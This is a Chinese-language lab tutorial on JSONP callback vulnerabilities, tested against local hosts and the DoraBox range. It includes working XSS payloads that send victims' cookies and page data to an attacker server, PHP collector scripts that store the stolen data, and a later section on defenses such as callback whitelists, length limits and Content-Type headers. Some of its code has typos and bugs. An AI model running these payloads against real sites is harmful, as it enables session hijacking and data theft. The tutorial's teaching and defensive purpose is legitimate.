一、漏洞一:利用回調GetCookie
<?php$conn = new mysqli('127.0.0.1','root','root','learn') or die("數據庫連接不成功");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,creattime from learn3 where articleid < 5";
$result = $conn->query($sql);//輸出JSON數據到頁面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback'] . "(" . $json . ")";$conn->close();?>
<!-- JSONP回調實現跨域 --><script>function test(args) {alert(JSON.stringify(args));}</script><script src="http://10.211.55.16/list-json.php?callback=test"></script>
當在list-json.html頁面中,直接構造以下Payload,則會導致彈窗
<script src="http://192.168.112.183/list-json.php?callback=alert(1);//"></script>
如果payload是這樣的話,也會給我們進行彈窗,說明存在XSS漏洞
<script src="http://192.168.112.183/list-json.php?callback=alert('Hello');//"></script>
?
基于這個XSS漏洞,我們就可以去利用這個漏洞
我們可以試著去讓它彈出當前頁面的Cookie,成功彈出Cookie
<script src="http://192.168.112.183/list-json.php?callback=alert(document.cookie);//"></script>
我們也可以讓它做一個登錄,成功登錄
然后我們再通過XSS漏洞將Sesssion ID彈出來,說明它并沒有對當前的Cookie設置http-only的屬性,讓我們的JavaScript是可以讀取到的
接下來呢,我們想辦法把這個頁面發送給登錄的用戶,讓用戶去點擊
那么,在彈窗位置,則可以實現利用,比如發送當前頁面的Cookie到183的xssrecv.php頁面上,Payload如下:
<script src="http://192.168.112.183/list-ison.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>
?經過http://192.168.112.183/security/list-json.html訪問上述頁面,即可完成Get Cookie,只要通過XSS漏洞將包含上述Payload的HTML頁面連接交給用戶訪問到,或者引誘登錄用戶點擊,則可以直接獲取用戶Cookie等數據
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];$conn = new mysqli('127.0.0.1','root','root','learn') or die("數據庫連接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
echo "<script>location.href='http://www.woniunote.com/'</script>";
然后我們打開數據庫,去看看xssdata那張表,看看能不能增加一條記錄
?然后我們去運行,發現已經跳轉到蝸牛筆記了
然后看見多了一條數據
對于其防護措施,首先我們應該限制callback的長度
在list-json.php中增加一條判斷語句
if (strlen($_GET['callback']) > 10) {die("too long");
}
我們通過Fidder進行監聽一下,響應告訴我們"too long"
當然,我們可以設置白名單,限制回調的函數名,代碼如下:
$white_list = array('test','jsonp','handle','doedit');
if !in_array($_GET['callback'],$white_list) {die("wrong_value");
}
綜上所述,需要對回調函數的名稱進行嚴格的限制,比如限制其長度,查詢其關鍵詞,或者使用白名單
二、漏洞二:利用CSRF獲取數據
當發現某個站點存在JSONP跨域漏洞之后,則只需要構造一個鏈接,讓被攻擊者在登錄狀態下點擊,然后在188服務器上的list-json.html頁面中的alert()的位置將獲取到的數據發送給攻擊服務器即可
在DoraBox靶場環境中存在這樣一行代碼:
$callback = htmlspecialchars($_GET['callback']);
上述代碼將跨域網站提交過去的callback的內容進行了轉義,杜絕了XSS獲取Cookie的漏洞。但是該頁面依然存在JSONP漏洞,在攻擊服務器192.168.112.183上添加jsonouse.html頁面,訪問正常服務器192.168.112.188上的Dorabox的JSONP漏洞頁面,代碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>跨頁面查看JSON數據</title><script>function test(args) {location.href="http://192.168.112.183/jsonprecv.php?value="+JSON.stringify(args)+"&referer="document.referer;}</script><script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script></head>
<body>Good Boy
</body>
</html>
同時,在183攻擊服務器上增加jsonprecv.php頁面,內容如下:
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];$conn = new mysqli('127.0.0.1','root','123456','learn') or die("數據庫連接不成功.");
$conn->set_charest("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);echo "<script>location.href='http://www.woniunote.com/'</script>";
然后我們去訪問192.168.112.183/jsonpuser.html,然后跳轉到了蝸牛筆記那兒
?然后去數據庫看看有沒有新增的數據
此時,在188的Dorabox服務器中,利用XSS漏洞生成一個連接到183攻擊服務器的"http://192.168.112.183/jsonpuse.html"頁面,完成數據泄露攻擊。(或者直接讓用戶點擊也可以)
DoraBox的存儲型比較有意思,直接在stored_xss.php的當前頁面的源代碼里面寫入存儲數據,所以要將此文件設置為可寫權限
我們修改list-json.php的代碼,如下所示,加一個while(1)
當我們去訪問的時候,發現已經沒反應了,因為while(1)一直在做死循環,這也是一個很好的防御方式
三、JSON攻擊防御方案
產生JSONP攻擊的核心在于沒有對調用方進行校驗
(1)前后端約定jsonp請求的js的回調函數名,不能自己定義回調名稱
(2)嚴格安全的實現CSRF方式調用JSON文件:限制Referer、部署一次性Token或其他Token驗證等
(3)嚴格按照JSON格式標準輸出Content-Type及編碼(Content-Type:application/json;charset=utf8),避免被XSS利用。可以在PHP源代碼中添加header("content-type:application/json");即可。
(4)嚴格過濾callback函數名及JSON里數據的輸出
(5)嚴格限制對JSONP輸出callback函數名的長度和內容
(6)其他一些比較"猥瑣"的方法:如在Callback輸出之前加入其他字符(如:/**/、回車換行)這樣不影響JSON文件加載,又能一定程度預防其他文件格式的輸出。還比如Gmall早期使用AJAX的方式獲取JSON,聽過在輸出JSON之前加入while(1);這樣的代碼來防止JS遠程調用。(可以試試,上面就是這個的例子)